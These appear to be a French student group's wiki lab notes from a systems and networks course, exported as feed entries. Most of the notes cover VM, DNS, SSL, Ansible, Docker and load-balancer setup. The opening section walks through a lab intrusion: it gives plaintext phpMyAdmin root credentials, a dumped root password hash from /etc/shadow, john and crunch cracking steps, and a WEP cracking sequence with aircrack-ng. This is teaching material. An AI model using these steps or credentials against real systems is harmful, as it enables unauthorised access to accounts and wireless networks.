on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (commande &amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle. On utilise le port qui nous est alloué : le 8087.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; contenant un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le playbook on crée une seconde partie avec pour hôte &amp;lt;code&amp;gt;webinterne&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
Dans notre VM sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; on peut alors lancer le playbook (après que le push et le pull aient été fait sans erreur).&lt;br /&gt;
 ansible-playbook first_play.yml&lt;br /&gt;
&lt;br /&gt;
Notre conteneur web s'est déployé correctement sur les VM des groupes 4 et 5. Les autres Vm n'ont pas tous les packages nécessaires (docker ou docker-py) ou ne sont pas joignables.&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;br /&gt;
&lt;br /&gt;
On met en place un second serveur Web qui se comporte comme un serveur mandataire inverse (reverse proxy) et comme un équilibreur de charge (load balancer).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;/etc/bind/db.girolle.site &amp;lt;/code&amp;gt; on ajoute un deuxième CNAME :&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.girolle.site. postmaster.girolle.site. (&lt;br /&gt;
	 		      6		; Serial&lt;br /&gt;
		 	 604800		; Refresh&lt;br /&gt;
			  86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182 &lt;br /&gt;
 @	IN	MX	100 ns1.girolle.site.&lt;br /&gt;
 &lt;br /&gt;
 www	IN	CNAME	ns1&lt;br /&gt;
 reverse	IN	CNAME	www&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/girolle.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt; on crée un nouveau fichier de configuration &amp;lt;code&amp;gt;reverse.conf/code&amp;gt; pour le second serveur web.&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
	  ServerName reverse.girolle.site&lt;br /&gt;
	  ServerAdmin webmaster@localhost&lt;br /&gt;
	  &amp;lt;Proxy &amp;quot;balancer://myloadbalance&amp;quot;&amp;gt;&lt;br /&gt;
		  BalancerMember &amp;quot;http://192.168.42.2:8087&amp;quot; route=1&lt;br /&gt;
		  BalancerMember &amp;quot;http://192.168.42.4:8087&amp;quot; route=2&lt;br /&gt;
		  BalancerMember &amp;quot;http://192.168.42.5:8087&amp;quot; route=3&lt;br /&gt;
                  BalancerMember &amp;quot;http://192.168.42.7:8087&amp;quot; route=4&lt;br /&gt;
		  BalancerMember &amp;quot;http://192.168.42.9:8087&amp;quot; route=5&lt;br /&gt;
                  BalancerMember &amp;quot;http://192.168.42.12:8087&amp;quot; route=6&lt;br /&gt;
		  ProxySet lbmethod=byrequests&lt;br /&gt;
 	 &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
	  ProxyPass &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
	  ProxyPassReverse &amp;quot;/&amp;quot;  &amp;quot;balancer://myloadbalance/&amp;quot;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55017</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55017"/>
				<updated>2020-12-18T23:24:39Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
